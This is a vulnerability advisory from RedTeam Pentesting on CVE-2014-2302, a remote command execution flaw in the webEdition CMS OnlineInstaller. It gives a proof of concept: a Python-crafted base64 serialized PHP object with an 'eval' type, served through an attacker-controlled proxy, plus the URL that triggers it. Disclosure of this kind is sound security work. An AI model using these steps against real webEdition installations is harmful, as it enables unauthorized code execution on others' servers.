Advisory: Remote Command Execution in webEdition CMS Installer Script
RedTeam Pentesting discovered a remote command execution vulnerability
in the installer script of the webEdition CMS during a penetration test.
If the installer script is not manually removed after installation,
attackers cannot only reinstall webEdition, but also gain remote command
execution.
Details
=======
Product: webEdition CMS
Affected Versions: webEdition OnlineInstaller 2.8.0.0,
probably earlier versions, too
Fixed Versions: webEdition 6.2.7-s1 - 6.3.8-s1
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: http://www.webedition.org
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-004
Advisory Status: published
CVE: CVE-2014-2302
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2302
Introduction
============
"webEdition is a flexible CMS for companies of every size. It offers a
great amount of functionality and can be flexibly customized for
individual needs. It is ideally suited for users who want to operate
their website comfortably. Even the creation of custom web applications
is easily possible with webEdition."
(translated from the webEdition homepage)
More Details
============
The webEdition installation script is not deleted automatically at the
end of the installation, even though it contains code to delete itself.
While an attacker who finds this script could just destructively
reinstall webEdition, it is also possible to use it to gain command
execution unnoticed on an existing webEdition installation.
During installation, the installer first checks whether outgoing
connections can be established by sending the following HTTP request to
update.webedition.org:
GET /server/we/onlineInstallation.php?update_cmd=checkConnection&
HTTP/1.0
Host: update.webedition.org
The server at update.webedition.org replies with the following HTTP
response, which contains base64-encoded data (formatted and shortened):
HTTP/1.1 200 OK
Date: Mon, 24 Feb 2014 10:34:56 GMT
Server: Apache/2.X.XX
X-Powered-By: PHP/5.X.XX
Connection: close
Content-Type: text/html
YTozOntzOjQ6IlR5cGUiO3M6ODoidGVtcGxhdGUiO3M6ODoiSGVhZGxpbmUiO3M6MzA6Ik9u
bGluZSBJbnN0YWxsZXIgdmVyc2lvbiBjaGVjayI7czo3OiJDb250ZW50IjtzOjM5ODoiCjxk
aXYgY2xhc3M9Im1lc3NhZ2VEaXYiPgpZb3UgYXJlIGN1cnJlbnRseSB1c2luZyBhbiBvbGQg
[...]
By decoding the response body it can be seen that it contains a
serialized PHP object:
a:3:{s:4:"Type";s:8:"template";s:8:"Headline";s:30:"Online Installer
version check";s:7:"Content";s:398:"
You are currently [...]
.";} This PHP object is processed by the installation script based on its "Type" value. One of the "Type" values accepted by the installation script is "eval", leading to the execution of PHP code which can be specified as the value of a field named "Code", that is also part of the serialized object. Using the Python library phpserialize, a PHP object can be crafted, which executes the function phpinfo() when it is received by the installation script: $ python >>> from phpserialize import dumps >>> object = dumps({"Type": "eval", "Code": ""}) >>> object.encode("base64") 'YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjtz OjQ6\nImV2YWwiO30=\n' The installer allows the usage of a proxy server, enabling attackers to intercept and arbitrarily modify HTTP requests issued by the installer and the corresponding responses by the host update.webedition.org. By setting a proxy server to use during the installation process which answers all requests with the base64-encoded serialized PHP object, the previously created PHP code is loaded and evaluated by the installation script, which leads to the execution of the attack payload. Due to the proxy server being saved in the HTTP session used by the installation script, execution of the code served by the proxy server can be triggered by opening the following URL: http://www.example.com/OnlineInstaller/setup.php? &leWizard=DownloadInstaller Proof of Concept ================ Use the OnlineInstaller at http://www.example.com/OnlineInstaller/setup.php to configure webEdition to use a system under your control as a proxy server. Configure the proxy to deliver the following file contents for all HTTP requests: YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjt zOjQ6ImV2YWwiO30= Reopen the following URL: http://www.example.com/OnlineInstaller/setup.php? &leWizard=DownloadInstaller After a redirect, phpinfo() output will be shown. Workaround ========== The OnlineInstaller should be deleted or access to its URLs restricted. Fix === Update to a version with the suffix -s1. Those versions are available as updates for releases between 6.2.7 and 6.3.8. The newest, updated version would therefore be 6.3.8-s1. Note that the version check of webEdition might tell you that there is no update available and that you are running Version "6.3.8 (6.3.8.0 Release, SVN-Revision 6985). It will still tell you that the newest available version is "6.3.8-s1 (6.3.8.0 Release, SVN-Revision 6985)", so you can use the "Update-Repetition" function to get the fix for this vulnerability. Also note that the update does not remove the OnlineInstaller, but modifies the login dialogue to remove the OnlineInstaller instead. You will need to open the login dialogue after installing the update to actually delete the OnlineInstaller. To be on the safe side, check the OnlineInstaller directory manually for any files that still need to be removed. Security Risk ============= Attackers can not only use the OnlineInstaller to destructively reinstall webEdition, but can also run arbitrary code PHP code by setting their own proxy server in the OnlineInstaller and inject content that is used as a parameter for the PHP eval() function. Since this attacker-supplied code is executed on the webEdition server with the privileges of the web server, this is a high risk, especially because the attack is not as easy to detect as a reinstallation of webEdition by an attacker. Timeline ======== 2014-02-20 Vulnerability identified 2014-03-04 Customer approved disclosure to vendor 2014-03-06 CVE number requested and assigned 2014-03-07 Vendor notified 2014-03-10 Vendor acknowledges vulnerability 2014-05-20 Vendor announces fixed versions 2014-05-28 Advisory released References ========== http://www.webedition.org/de/aktuelles/webedition-cms/ Wichtiges-Sicherheitsupdate-fuer-CMS-webEdition-veroeffentlicht (German) http://www.webedition.org/de/aktuelles/webedition-cms/ Wichtige-Hinweise-zum-Sicherheitsupdate (German) RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen